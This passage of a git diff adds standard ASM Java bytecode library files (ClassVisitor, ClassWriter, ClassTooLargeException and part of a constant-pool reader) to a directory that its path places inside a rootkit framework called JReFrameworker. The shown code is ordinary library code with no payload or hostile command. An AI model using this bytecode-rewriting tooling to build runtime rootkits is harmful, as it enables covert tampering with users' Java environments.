CONSTANT_Float, CONSTANT_Long, + * CONSTANT_Double, CONSTANT_Class, CONSTANT_String, CONSTANT_MethodType, + * CONSTANT_MethodHandle or CONSTANT_Dynamic entry in the class's constant pool. + * @param charBuffer the buffer to be used to read strings. This buffer must be sufficiently + * large. It is not automatically resized. + * @return the {@link Integer}, {@link Float}, {@link Long}, {@link Double}, {@link String}, + * {@link Type}, {@link Handle} or {@link ConstantDynamic} corresponding to the specified + * constant pool entry. + */ + public Object readConst(final int constantPoolEntryIndex, final char[] charBuffer) { + int cpInfoOffset = cpInfoOffsets[constantPoolEntryIndex]; + switch (b[cpInfoOffset - 1]) { + case Symbol.CONSTANT_INTEGER_TAG: + return readInt(cpInfoOffset); + case Symbol.CONSTANT_FLOAT_TAG: + return Float.intBitsToFloat(readInt(cpInfoOffset)); + case Symbol.CONSTANT_LONG_TAG: + return readLong(cpInfoOffset); + case Symbol.CONSTANT_DOUBLE_TAG: + return Double.longBitsToDouble(readLong(cpInfoOffset)); + case Symbol.CONSTANT_CLASS_TAG: + return Type.getObjectType(readUTF8(cpInfoOffset, charBuffer)); + case Symbol.CONSTANT_STRING_TAG: + return readUTF8(cpInfoOffset, charBuffer); + case Symbol.CONSTANT_METHOD_TYPE_TAG: + return Type.getMethodType(readUTF8(cpInfoOffset, charBuffer)); + case Symbol.CONSTANT_METHOD_HANDLE_TAG: + int referenceKind = readByte(cpInfoOffset); + int referenceCpInfoOffset = cpInfoOffsets[readUnsignedShort(cpInfoOffset + 1)]; + int nameAndTypeCpInfoOffset = cpInfoOffsets[readUnsignedShort(referenceCpInfoOffset + 2)]; + String owner = readClass(referenceCpInfoOffset, charBuffer); + String name = readUTF8(nameAndTypeCpInfoOffset, charBuffer); + String descriptor = readUTF8(nameAndTypeCpInfoOffset + 2, charBuffer); + boolean isInterface = + b[referenceCpInfoOffset - 1] == Symbol.CONSTANT_INTERFACE_METHODREF_TAG; + return new Handle(referenceKind, owner, name, descriptor, isInterface); + case Symbol.CONSTANT_DYNAMIC_TAG: + return readConstantDynamic(constantPoolEntryIndex, charBuffer); + default: + throw new IllegalArgumentException(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassTooLargeException.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassTooLargeException.java new file mode 100644 index 0000000..80037b1 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassTooLargeException.java @@ -0,0 +1,71 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * Exception thrown when the constant pool of a class produced by a {@link ClassWriter} is too + * large. + * + * @author Jason Zaugg + */ +public final class ClassTooLargeException extends IndexOutOfBoundsException { + private static final long serialVersionUID = 160715609518896765L; + + private final String className; + private final int constantPoolCount; + + /** + * Constructs a new {@link ClassTooLargeException}. + * + * @param className the internal name of the class. + * @param constantPoolCount the number of constant pool items of the class. + */ + public ClassTooLargeException(final String className, final int constantPoolCount) { + super("Class too large: " + className); + this.className = className; + this.constantPoolCount = constantPoolCount; + } + + /** + * Returns the internal name of the class. + * + * @return the internal name of the class. + */ + public String getClassName() { + return className; + } + + /** + * Returns the number of constant pool items of the class. + * + * @return the number of constant pool items of the class. + */ + public int getConstantPoolCount() { + return constantPoolCount; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassVisitor.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassVisitor.java new file mode 100644 index 0000000..3878b9e --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassVisitor.java @@ -0,0 +1,329 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A visitor to visit a Java class. The methods of this class must be called in the following order: + * {@code visit} [ {@code visitSource} ] [ {@code visitModule} ][ {@code visitNestHost} ][ {@code + * visitOuterClass} ] ( {@code visitAnnotation} | {@code visitTypeAnnotation} | {@code + * visitAttribute} )* ( {@code visitNestMember} | {@code visitInnerClass} | {@code visitField} | + * {@code visitMethod} )* {@code visitEnd}. + * + * @author Eric Bruneton + */ +public abstract class ClassVisitor { + + /** + * The ASM API version implemented by this visitor. The value of this field must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + protected final int api; + + /** The class visitor to which this visitor must delegate method calls. May be null. */ + protected ClassVisitor cv; + + /** + * Constructs a new {@link ClassVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + public ClassVisitor(final int api) { + this(api, null); + } + + /** + * Constructs a new {@link ClassVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + * @param classVisitor the class visitor to which this visitor must delegate method calls. May be + * null. + */ + public ClassVisitor(final int api, final ClassVisitor classVisitor) { + if (api != Opcodes.ASM6 && api != Opcodes.ASM5 && api != Opcodes.ASM4 && api != Opcodes.ASM7) { + throw new IllegalArgumentException(); + } + this.api = api; + this.cv = classVisitor; + } + + /** + * Visits the header of the class. + * + * @param version the class version. The minor version is stored in the 16 most significant bits, + * and the major version in the 16 least significant bits. + * @param access the class's access flags (see {@link Opcodes}). This parameter also indicates if + * the class is deprecated. + * @param name the internal name of the class (see {@link Type#getInternalName()}). + * @param signature the signature of this class. May be {@literal null} if the class is not a + * generic one, and does not extend or implement generic classes or interfaces. + * @param superName the internal of name of the super class (see {@link Type#getInternalName()}). + * For interfaces, the super class is {@link Object}. May be {@literal null}, but only for the + * {@link Object} class. + * @param interfaces the internal names of the class's interfaces (see {@link + * Type#getInternalName()}). May be {@literal null}. + */ + public void visit( + final int version, + final int access, + final String name, + final String signature, + final String superName, + final String[] interfaces) { + if (cv != null) { + cv.visit(version, access, name, signature, superName, interfaces); + } + } + + /** + * Visits the source of the class. + * + * @param source the name of the source file from which the class was compiled. May be {@literal + * null}. + * @param debug additional debug information to compute the correspondence between source and + * compiled elements of the class. May be {@literal null}. + */ + public void visitSource(final String source, final String debug) { + if (cv != null) { + cv.visitSource(source, debug); + } + } + + /** + * Visit the module corresponding to the class. + * + * @param name the fully qualified name (using dots) of the module. + * @param access the module access flags, among {@code ACC_OPEN}, {@code ACC_SYNTHETIC} and {@code + * ACC_MANDATED}. + * @param version the module version, or {@literal null}. + * @return a visitor to visit the module values, or {@literal null} if this visitor is not + * interested in visiting this module. + */ + public ModuleVisitor visitModule(final String name, final int access, final String version) { + if (api < Opcodes.ASM6) { + throw new UnsupportedOperationException("This feature requires ASM6"); + } + if (cv != null) { + return cv.visitModule(name, access, version); + } + return null; + } + + /** + * Visits the nest host class of the class. A nest is a set of classes of the same package that + * share access to their private members. One of these classes, called the host, lists the other + * members of the nest, which in turn should link to the host of their nest. This method must be + * called only once and only if the visited class is a non-host member of a nest. A class is + * implicitly its own nest, so it's invalid to call this method with the visited class name as + * argument. + * + * @param nestHost the internal name of the host class of the nest. + */ + public void visitNestHost(final String nestHost) { + if (api < Opcodes.ASM7) { + throw new UnsupportedOperationException("This feature requires ASM7"); + } + if (cv != null) { + cv.visitNestHost(nestHost); + } + } + + /** + * Visits the enclosing class of the class. This method must be called only if the class has an + * enclosing class. + * + * @param owner internal name of the enclosing class of the class. + * @param name the name of the method that contains the class, or {@literal null} if the class is + * not enclosed in a method of its enclosing class. + * @param descriptor the descriptor of the method that contains the class, or {@literal null} if + * the class is not enclosed in a method of its enclosing class. + */ + public void visitOuterClass(final String owner, final String name, final String descriptor) { + if (cv != null) { + cv.visitOuterClass(owner, name, descriptor); + } + } + + /** + * Visits an annotation of the class. + * + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitAnnotation(final String descriptor, final boolean visible) { + if (cv != null) { + return cv.visitAnnotation(descriptor, visible); + } + return null; + } + + /** + * Visits an annotation on a type in the class signature. + * + * @param typeRef a reference to the annotated type. The sort of this type reference must be + * {@link TypeReference#CLASS_TYPE_PARAMETER}, {@link + * TypeReference#CLASS_TYPE_PARAMETER_BOUND} or {@link TypeReference#CLASS_EXTENDS}. See + * {@link TypeReference}. + * @param typePath the path to the annotated type argument, wildcard bound, array element type, or + * static inner type within 'typeRef'. May be {@literal null} if the annotation targets + * 'typeRef' as a whole. + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitTypeAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException("This feature requires ASM5"); + } + if (cv != null) { + return cv.visitTypeAnnotation(typeRef, typePath, descriptor, visible); + } + return null; + } + + /** + * Visits a non standard attribute of the class. + * + * @param attribute an attribute. + */ + public void visitAttribute(final Attribute attribute) { + if (cv != null) { + cv.visitAttribute(attribute); + } + } + + /** + * Visits a member of the nest. A nest is a set of classes of the same package that share access + * to their private members. One of these classes, called the host, lists the other members of the + * nest, which in turn should link to the host of their nest. This method must be called only if + * the visited class is the host of a nest. A nest host is implicitly a member of its own nest, so + * it's invalid to call this method with the visited class name as argument. + * + * @param nestMember the internal name of a nest member. + */ + public void visitNestMember(final String nestMember) { + if (api < Opcodes.ASM7) { + throw new UnsupportedOperationException("This feature requires ASM7"); + } + if (cv != null) { + cv.visitNestMember(nestMember); + } + } + + /** + * Visits information about an inner class. This inner class is not necessarily a member of the + * class being visited. + * + * @param name the internal name of an inner class (see {@link Type#getInternalName()}). + * @param outerName the internal name of the class to which the inner class belongs (see {@link + * Type#getInternalName()}). May be {@literal null} for not member classes. + * @param innerName the (simple) name of the inner class inside its enclosing class. May be + * {@literal null} for anonymous inner classes. + * @param access the access flags of the inner class as originally declared in the enclosing + * class. + */ + public void visitInnerClass( + final String name, final String outerName, final String innerName, final int access) { + if (cv != null) { + cv.visitInnerClass(name, outerName, innerName, access); + } + } + + /** + * Visits a field of the class. + * + * @param access the field's access flags (see {@link Opcodes}). This parameter also indicates if + * the field is synthetic and/or deprecated. + * @param name the field's name. + * @param descriptor the field's descriptor (see {@link Type}). + * @param signature the field's signature. May be {@literal null} if the field's type does not use + * generic types. + * @param value the field's initial value. This parameter, which may be {@literal null} if the + * field does not have an initial value, must be an {@link Integer}, a {@link Float}, a {@link + * Long}, a {@link Double} or a {@link String} (for {@code int}, {@code float}, {@code long} + * or {@code String} fields respectively). This parameter is only used for static + * fields. Its value is ignored for non static fields, which must be initialized through + * bytecode instructions in constructors or methods. + * @return a visitor to visit field annotations and attributes, or {@literal null} if this class + * visitor is not interested in visiting these annotations and attributes. + */ + public FieldVisitor visitField( + final int access, + final String name, + final String descriptor, + final String signature, + final Object value) { + if (cv != null) { + return cv.visitField(access, name, descriptor, signature, value); + } + return null; + } + + /** + * Visits a method of the class. This method must return a new {@link MethodVisitor} + * instance (or {@literal null}) each time it is called, i.e., it should not return a previously + * returned visitor. + * + * @param access the method's access flags (see {@link Opcodes}). This parameter also indicates if + * the method is synthetic and/or deprecated. + * @param name the method's name. + * @param descriptor the method's descriptor (see {@link Type}). + * @param signature the method's signature. May be {@literal null} if the method parameters, + * return type and exceptions do not use generic types. + * @param exceptions the internal names of the method's exception classes (see {@link + * Type#getInternalName()}). May be {@literal null}. + * @return an object to visit the byte code of the method, or {@literal null} if this class + * visitor is not interested in visiting the code of this method. + */ + public MethodVisitor visitMethod( + final int access, + final String name, + final String descriptor, + final String signature, + final String[] exceptions) { + if (cv != null) { + return cv.visitMethod(access, name, descriptor, signature, exceptions); + } + return null; + } + + /** + * Visits the end of the class. This method, which is the last one to be called, is used to inform + * the visitor that all the fields and methods of the class have been visited. + */ + public void visitEnd() { + if (cv != null) { + cv.visitEnd(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassWriter.java new file mode 100644 index 0000000..8afc979 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ClassWriter.java @@ -0,0 +1,985 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A {@link ClassVisitor} that generates a corresponding ClassFile structure, as defined in the Java + * Virtual Machine Specification (JVMS). It can be used alone, to generate a Java class "from + * scratch", or with one or more {@link ClassReader} and adapter {@link ClassVisitor} to generate a + * modified class from one or more existing Java classes. + * + * @see JVMS 4 + * @author Eric Bruneton + */ +public class ClassWriter extends ClassVisitor { + + /** + * A flag to automatically compute the maximum stack size and the maximum number of local + * variables of methods. If this flag is set, then the arguments of the {@link + * MethodVisitor#visitMaxs} method of the {@link MethodVisitor} returned by the {@link + * #visitMethod} method will be ignored, and computed automatically from the signature and the + * bytecode of each method. + * + *

Note: for classes whose version is {@link Opcodes#V1_7} of more, this option requires + * valid stack map frames. The maximum stack size is then computed from these frames, and from the + * bytecode instructions in between. If stack map frames are not present or must be recomputed, + * used {@link #COMPUTE_FRAMES} instead. + * + * @see #ClassWriter(int) + */ + public static final int COMPUTE_MAXS = 1; + + /** + * A flag to automatically compute the stack map frames of methods from scratch. If this flag is + * set, then the calls to the {@link MethodVisitor#visitFrame} method are ignored, and the stack + * map frames are recomputed from the methods bytecode. The arguments of the {@link + * MethodVisitor#visitMaxs} method are also ignored and recomputed from the bytecode. In other + * words, {@link #COMPUTE_FRAMES} implies {@link #COMPUTE_MAXS}. + * + * @see #ClassWriter(int) + */ + public static final int COMPUTE_FRAMES = 2; + + // Note: fields are ordered as in the ClassFile structure, and those related to attributes are + // ordered as in Section 4.7 of the JVMS. + + /** + * The minor_version and major_version fields of the JVMS ClassFile structure. minor_version is + * stored in the 16 most significant bits, and major_version in the 16 least significant bits. + */ + private int version; + + /** The symbol table for this class (contains the constant_pool and the BootstrapMethods). */ + private final SymbolTable symbolTable; + + /** + * The access_flags field of the JVMS ClassFile structure. This field can contain ASM specific + * access flags, such as {@link Opcodes#ACC_DEPRECATED}, which are removed when generating the + * ClassFile structure. + */ + private int accessFlags; + + /** The this_class field of the JVMS ClassFile structure. */ + private int thisClass; + + /** The super_class field of the JVMS ClassFile structure. */ + private int superClass; + + /** The interface_count field of the JVMS ClassFile structure. */ + private int interfaceCount; + + /** The 'interfaces' array of the JVMS ClassFile structure. */ + private int[] interfaces; + + /** + * The fields of this class, stored in a linked list of {@link FieldWriter} linked via their + * {@link FieldWriter#fv} field. This field stores the first element of this list. + */ + private FieldWriter firstField; + + /** + * The fields of this class, stored in a linked list of {@link FieldWriter} linked via their + * {@link FieldWriter#fv} field. This field stores the last element of this list. + */ + private FieldWriter lastField; + + /** + * The methods of this class, stored in a linked list of {@link MethodWriter} linked via their + * {@link MethodWriter#mv} field. This field stores the first element of this list. + */ + private MethodWriter firstMethod; + + /** + * The methods of this class, stored in a linked list of {@link MethodWriter} linked via their + * {@link MethodWriter#mv} field. This field stores the last element of this list. + */ + private MethodWriter lastMethod; + + /** The number_of_classes field of the InnerClasses attribute, or 0. */ + private int numberOfInnerClasses; + + /** The 'classes' array of the InnerClasses attribute, or {@literal null}. */ + private ByteVector innerClasses; + + /** The class_index field of the EnclosingMethod attribute, or 0. */ + private int enclosingClassIndex; + + /** The method_index field of the EnclosingMethod attribute. */ + private int enclosingMethodIndex; + + /** The signature_index field of the Signature attribute, or 0. */ + private int signatureIndex; + + /** The source_file_index field of the SourceFile attribute, or 0. */ + private int sourceFileIndex; + + /** The debug_extension field of the SourceDebugExtension attribute, or {@literal null}. */ + private ByteVector debugExtension; + + /** + * The last runtime visible annotation of this class. The previous ones can be accessed with the + * {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeVisibleAnnotation; + + /** + * The last runtime invisible annotation of this class. The previous ones can be accessed with the + * {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeInvisibleAnnotation; + + /** + * The last runtime visible type annotation of this class. The previous ones can be accessed with + * the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeVisibleTypeAnnotation; + + /** + * The last runtime invisible type annotation of this class. The previous ones can be accessed + * with the {@link AnnotationWriter#previousAnnotation} field. May be {@literal null}. + */ + private AnnotationWriter lastRuntimeInvisibleTypeAnnotation; + + /** The Module attribute of this class, or {@literal null}. */ + private ModuleWriter moduleWriter; + + /** The host_class_index field of the NestHost attribute, or 0. */ + private int nestHostClassIndex; + + /** The number_of_classes field of the NestMembers attribute, or 0. */ + private int numberOfNestMemberClasses; + + /** The 'classes' array of the NestMembers attribute, or {@literal null}. */ + private ByteVector nestMemberClasses; + + /** + * The first non standard attribute of this class. The next ones can be accessed with the {@link + * Attribute#nextAttribute} field. May be {@literal null}. + * + *

WARNING: this list stores the attributes in the reverse order of their visit. + * firstAttribute is actually the last attribute visited in {@link #visitAttribute}. The {@link + * #toByteArray} method writes the attributes in the order defined by this list, i.e. in the + * reverse order specified by the user. + */ + private Attribute firstAttribute; + + /** + * Indicates what must be automatically computed in {@link MethodWriter}. Must be one of {@link + * MethodWriter#COMPUTE_NOTHING}, {@link MethodWriter#COMPUTE_MAX_STACK_AND_LOCAL}, {@link + * MethodWriter#COMPUTE_INSERTED_FRAMES}, or {@link MethodWriter#COMPUTE_ALL_FRAMES}. + */ + private int compute; + + // ----------------------------------------------------------------------------------------------- + // Constructor + // ----------------------------------------------------------------------------------------------- + + /** + * Constructs a new {@link ClassWriter} object. + * + * @param flags option flags that can be used to modify the default behavior of this class. Must + * be zero or more of {@link #COMPUTE_MAXS} and {@link #COMPUTE_FRAMES}. + */ + public ClassWriter(final int flags) { + this(null, flags); + } + + /** + * Constructs a new {@link ClassWriter} object and enables optimizations for "mostly add" bytecode + * transformations. These optimizations are the following: + * + *

    + *
  • The constant pool and bootstrap methods from the original class are copied as is in the + * new class, which saves time. New constant pool entries and new bootstrap methods will be + * added at the end if necessary, but unused constant pool entries or bootstrap methods + * won't be removed. + *
  • Methods that are not transformed are copied as is in the new class, directly from the + * original class bytecode (i.e. without emitting visit events for all the method + * instructions), which saves a lot of time. Untransformed methods are detected by + * the fact that the {@link ClassReader} receives {@link MethodVisitor} objects that come + * from a {@link ClassWriter} (and not from any other {@link ClassVisitor} instance). + *
+ * + * @param classReader the {@link ClassReader} used to read the original class. It will be used to + * copy the entire constant pool and bootstrap methods from the original class and also to + * copy other fragments of original bytecode where applicable. + * @param flags option flags that can be used to modify the default behavior of this class.Must be + * zero or more of {@link #COMPUTE_MAXS} and {@link #COMPUTE_FRAMES}. These option flags do + * not affect methods that are copied as is in the new class. This means that neither the + * maximum stack size nor the stack frames will be computed for these methods. + */ + public ClassWriter(final ClassReader classReader, final int flags) { + super(Opcodes.ASM7); + symbolTable = classReader == null ? new SymbolTable(this) : new SymbolTable(this, classReader); + if ((flags & COMPUTE_FRAMES) != 0) { + this.compute = MethodWriter.COMPUTE_ALL_FRAMES; + } else if ((flags & COMPUTE_MAXS) != 0) { + this.compute = MethodWriter.COMPUTE_MAX_STACK_AND_LOCAL; + } else { + this.compute = MethodWriter.COMPUTE_NOTHING; + } + } + + // ----------------------------------------------------------------------------------------------- + // Implementation of the ClassVisitor abstract class + // ----------------------------------------------------------------------------------------------- + + @Override + public final void visit( + final int version, + final int access, + final String name, + final String signature, + final String superName, + final String[] interfaces) { + this.version = version; + this.accessFlags = access; + this.thisClass = symbolTable.setMajorVersionAndClassName(version & 0xFFFF, name); + if (signature != null) { + this.signatureIndex = symbolTable.addConstantUtf8(signature); + } + this.superClass = superName == null ? 0 : symbolTable.addConstantClass(superName).index; + if (interfaces != null && interfaces.length > 0) { + interfaceCount = interfaces.length; + this.interfaces = new int[interfaceCount]; + for (int i = 0; i < interfaceCount; ++i) { + this.interfaces[i] = symbolTable.addConstantClass(interfaces[i]).index; + } + } + if (compute == MethodWriter.COMPUTE_MAX_STACK_AND_LOCAL && (version & 0xFFFF) >= Opcodes.V1_7) { + compute = MethodWriter.COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES; + } + } + + @Override + public final void visitSource(final String file, final String debug) { + if (file != null) { + sourceFileIndex = symbolTable.addConstantUtf8(file); + } + if (debug != null) { + debugExtension = new ByteVector().encodeUtf8(debug, 0, Integer.MAX_VALUE); + } + } + + @Override + public final ModuleVisitor visitModule( + final String name, final int access, final String version) { + return moduleWriter = + new ModuleWriter( + symbolTable, + symbolTable.addConstantModule(name).index, + access, + version == null ? 0 : symbolTable.addConstantUtf8(version)); + } + + @Override + public void visitNestHost(final String nestHost) { + nestHostClassIndex = symbolTable.addConstantClass(nestHost).index; + } + + @Override + public final void visitOuterClass( + final String owner, final String name, final String descriptor) { + enclosingClassIndex = symbolTable.addConstantClass(owner).index; + if (name != null && descriptor != null) { + enclosingMethodIndex = symbolTable.addConstantNameAndType(name, descriptor); + } + } + + @Override + public final AnnotationVisitor visitAnnotation(final String descriptor, final boolean visible) { + // Create a ByteVector to hold an 'annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.16. + ByteVector annotation = new ByteVector(); + // Write type_index and reserve space for num_element_value_pairs. + annotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastRuntimeVisibleAnnotation = + new AnnotationWriter(symbolTable, annotation, lastRuntimeVisibleAnnotation); + } else { + return lastRuntimeInvisibleAnnotation = + new AnnotationWriter(symbolTable, annotation, lastRuntimeInvisibleAnnotation); + } + } + + @Override + public final AnnotationVisitor visitTypeAnnotation( + final int typeRef, final TypePath typePath, final String descriptor, final boolean visible) { + // Create a ByteVector to hold a 'type_annotation' JVMS structure. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.20. + ByteVector typeAnnotation = new ByteVector(); + // Write target_type, target_info, and target_path. + TypeReference.putTarget(typeRef, typeAnnotation); + TypePath.put(typePath, typeAnnotation); + // Write type_index and reserve space for num_element_value_pairs. + typeAnnotation.putShort(symbolTable.addConstantUtf8(descriptor)).putShort(0); + if (visible) { + return lastRuntimeVisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastRuntimeVisibleTypeAnnotation); + } else { + return lastRuntimeInvisibleTypeAnnotation = + new AnnotationWriter(symbolTable, typeAnnotation, lastRuntimeInvisibleTypeAnnotation); + } + } + + @Override + public final void visitAttribute(final Attribute attribute) { + // Store the attributes in the reverse order of their visit by this method. + attribute.nextAttribute = firstAttribute; + firstAttribute = attribute; + } + + @Override + public void visitNestMember(final String nestMember) { + if (nestMemberClasses == null) { + nestMemberClasses = new ByteVector(); + } + ++numberOfNestMemberClasses; + nestMemberClasses.putShort(symbolTable.addConstantClass(nestMember).index); + } + + @Override + public final void visitInnerClass( + final String name, final String outerName, final String innerName, final int access) { + if (innerClasses == null) { + innerClasses = new ByteVector(); + } + // Section 4.7.6 of the JVMS states "Every CONSTANT_Class_info entry in the constant_pool table + // which represents a class or interface C that is not a package member must have exactly one + // corresponding entry in the classes array". To avoid duplicates we keep track in the info + // field of the Symbol of each CONSTANT_Class_info entry C whether an inner class entry has + // already been added for C. If so, we store the index of this inner class entry (plus one) in + // the info field. This trick allows duplicate detection in O(1) time. + Symbol nameSymbol = symbolTable.addConstantClass(name); + if (nameSymbol.info == 0) { + ++numberOfInnerClasses; + innerClasses.putShort(nameSymbol.index); + innerClasses.putShort(outerName == null ? 0 : symbolTable.addConstantClass(outerName).index); + innerClasses.putShort(innerName == null ? 0 : symbolTable.addConstantUtf8(innerName)); + innerClasses.putShort(access); + nameSymbol.info = numberOfInnerClasses; + } + // Else, compare the inner classes entry nameSymbol.info - 1 with the arguments of this method + // and throw an exception if there is a difference? + } + + @Override + public final FieldVisitor visitField( + final int access, + final String name, + final String descriptor, + final String signature, + final Object value) { + FieldWriter fieldWriter = + new FieldWriter(symbolTable, access, name, descriptor, signature, value); + if (firstField == null) { + firstField = fieldWriter; + } else { + lastField.fv = fieldWriter; + } + return lastField = fieldWriter; + } + + @Override + public final MethodVisitor visitMethod( + final int access, + final String name, + final String descriptor, + final String signature, + final String[] exceptions) { + MethodWriter methodWriter = + new MethodWriter(symbolTable, access, name, descriptor, signature, exceptions, compute); + if (firstMethod == null) { + firstMethod = methodWriter; + } else { + lastMethod.mv = methodWriter; + } + return lastMethod = methodWriter; + } + + @Override + public final void 